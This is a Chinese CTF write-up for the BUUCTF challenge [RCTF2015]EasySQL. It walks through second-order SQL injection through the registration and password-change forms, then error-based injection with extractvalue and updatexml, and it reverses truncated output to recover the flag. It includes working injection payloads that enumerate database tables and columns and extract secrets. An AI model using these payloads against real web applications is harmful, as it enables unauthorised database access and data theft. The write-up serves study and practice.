BUUCTF_Web([RCTF2015]EasySQL)二次注入+报错注入

做题知识点:

二次注入

二次注入是一次注入通过两次操作实现,注册和登陆。

  1. 注册恶意用户名

  2. 登陆, 在登陆过程中,肯定要将我们输入的数据和数据库进行比对,而在这个``查询数据库中的用户名进行比对的这个过程中,会执行我们插入数据库的用户名(也就是恶意sql注入语句)

题目: 只有登录和注册两个选项。

1.尝试注册

输入admin 123 1

显示用户存在。

2.尝试登录

输入admin'# 123 ( #注释掉后面的,不用管密码)

登录错误。

3.尝试修改密码

输入admin'# #注释掉后面的,不用管密码

点admin'#

点change password,修改密码。

发现没用,,,

4. 报错注入

使用Burp关键字过滤:

(在注册界面使用报错注入然后点击修改密码才会有回显说明这是二次注入,并且payload必须在用户名位置在注册界面

尝试时发现and、order等部分关键词被过滤,extractvalue和updatexml这样的报错注入关键字未被注释,我们可以利用username进行报错注入。

1.查看数据库表名

admin"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),0x7e))#

有三个article,flag,users表名

2.1 查看flag表中列名(详细步骤)

二次注入:注册 --> 登录

报错注入:(在用户名位置的注册界面输入报错语句)

admin"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag')))#

详细步骤:

注册

登录

登录成功后页面

点用户名

修改密码页面 (密码随便输)

页面显现

一个列flag
查看 flag中内容

admin"||extractvalue(1,concat(0x7e,(select(flag)from(flag))))#

(步骤同上,得)发现不是真正的flag。

2.2使用users表查列名

admin"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users')))# (不知道是哪里出错了,可能某个关键字被过滤,本语句不对)

admin"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#

发现了flag所在的真正位置real_flag_1s_here。但发现here只显示了her,未完全显示,这是因为 extractvalue 和 updatexml最多只能显示32位数字,我们可以使用 reverse()函数,将报错回显的结果倒置,以此来查看末尾未显示的信息。

admin"||extractvalue(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'))))#

有七个列名。
查找real_flag_1s_her'列名

admin"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#

发现flag只有一部分,因为right、left、mid等函数均被过滤,因此使用reverse函数

admin"||(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#

倒置输出 (使用python脚本)

python 复制代码
letter_num = input('}de45611d9636-8c9b-f884-d0d8-9d')  # 直接获取输入
def convert_order():
    reversed_string = letter_num[::-1]  # 使用切片进行倒序
    print(reversed_string)  # 直接打印倒序的结果
convert_order()

得flag{b795edd9-8d0d-488f-b9c8-6369d11654ed}

参考链接:

[RCTF2015]EasySQL1 题目分析与详解

[RCTF2015]EasySQL(详细)

相关推荐
知初~3 小时前
出行项目案例
hive·hadoop·redis·sql·mysql·spark·database
黄雪超9 小时前
大数据SQL调优专题——引擎优化
大数据·数据库·sql
xlxxy_14 小时前
ABAP数据库表的增改查
开发语言·前端·数据库·sql·oracle·excel
轩昂7K16 小时前
sqoop的sql语言导入方式
前端·sql·sqoop
ChinaRainbowSea18 小时前
1. Linux下 MySQL 的详细安装与使用
linux·数据库·sql·mysql·adb
RainbowSea20 小时前
4. MySQL 逻辑架构说明
数据库·sql·mysql
爱编程的小庄1 天前
web网络安全:SQL 注入攻击
前端·sql·web安全
史迪仔01121 天前
【SQL】SQL多表查询
数据库·sql
焱焱枫1 天前
自适应SQL计划管理(Adaptive SQL Plan Management)在Oracle 12c中的应用
数据库·sql·oracle
2301_793069821 天前
Spring Boot +SQL项目优化策略,GraphQL和SQL 区别,Spring JDBC 等原理辨析(万字长文+代码)
java·数据库·spring boot·sql·jdbc·orm